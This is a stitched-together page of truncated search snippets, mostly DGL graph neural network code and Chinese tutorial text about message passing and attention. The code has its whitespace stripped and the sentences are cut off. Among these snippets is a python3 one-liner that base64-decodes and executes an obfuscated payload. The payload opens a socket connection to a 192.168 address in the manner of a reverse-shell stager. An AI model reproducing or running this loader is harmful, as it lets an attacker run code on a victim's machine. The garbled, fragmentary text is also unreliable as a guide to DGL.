self).__init__()self.linear=nn.Linear(5,10)defforward(self,g,features):g.ndata['h']=self.linear(features)g.update_all(message_func=dgl.function.copy_u('h','m'),reduce_func=dgl.function.sum('m','h'))h=g.ndata['h']returnF.relu(h)# 创建模型...
(引用Understand Graph Attention Network) dgl的例子中用了注意力熵的指标来对注意力系数的分布进行了刻画。 注意力熵描述的是注意力的分散程度,如果对于一个节点来说,它的注意力全集中到某个节点上,那么它的注意力熵就是0,如果它的注意力是平均分配到它的邻居节点上,那么它的注意力就可以取得最大值。 dgl的官...
g.update_all(message_func=dgl.function.copy_u('h','m'),reduce_func=dgl.function.sum('m','h_neigh'))h_neigh=g.ndata['h_neigh']h_self=g.ndata['h']h=self.linear(h_self+h_neigh)returnhclassGCN(nn.Module):def__init__(self,in_feats,hidden_feats,n_classes):super(GCN,self)....
最后,我们使用DGL库的update_all函数对图进行消息传递和汇聚操作,并返回更新后的节点特征。 接下来,我们需要定义训练过程。在这里,我们采用均方误差(MSE)作为损失函数,并使用Adam优化器进行参数优化。代码如下: ```python # 定义模型、损失函数和优化器 model = GCN(in_feats=12, hidden_feats=16, out_feats=1...
dgl (🥇37 · ⭐ 14K) - Python package built to ease deep learning on graph, on top of existing DL.. Apache-2 GitHub (👨💻 300 · 🔀 3K · 📦 3.8K · 📋 2.9K - 18% open · ⏱️ 11.02.2025): git clone https://github.com/dmlc/dgl PyPi (📥 110K / ...
update_all(msg_func, reduce_func) g.apply_nodes(func=self.apply) return g.ndata['v'] For the basics of coding with DGL, please see DGL basics. For more realistic, end-to-end examples, please see model tutorials. New to Deep Learning? Check out the open source book Dive into Deep ...
python3 -c "import base64,sys;update = base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNj...
update_all(self.message_func, self.reduce_func) return graph.ndata.pop('h') Performance and Scalability Microbenchmark on speed and memory usage: While leaving tensor and autograd functions to backend frameworks (e.g. PyTorch, MXNet, and TensorFlow), DGL aggressively optimizes storage and ...
此仓库是为了提升国内下载速度的镜像仓库,每日同步一次。 原始仓库:https://github.com/dmlc/dgl master 克隆/下载 git config --global user.name userName git config --global user.email userEmail 分支33 标签42 Rhett Ying[docs] update doc website743e65f2个月前 ...
【摘要】 一张图片值一千字,而使用 Python 的matplotlib库,幸运的是,只需不到一千字的代码就可以创建出具有生产质量的图形。 然而,matplotlib 也是一个庞大的库,让一个情节看起来恰到好处通常是通过反复试验来实现的。在 matplotlib 中使用 one-liners 生成基本绘图相当简单,但巧妙地控制库中剩余的 98% 可能会令...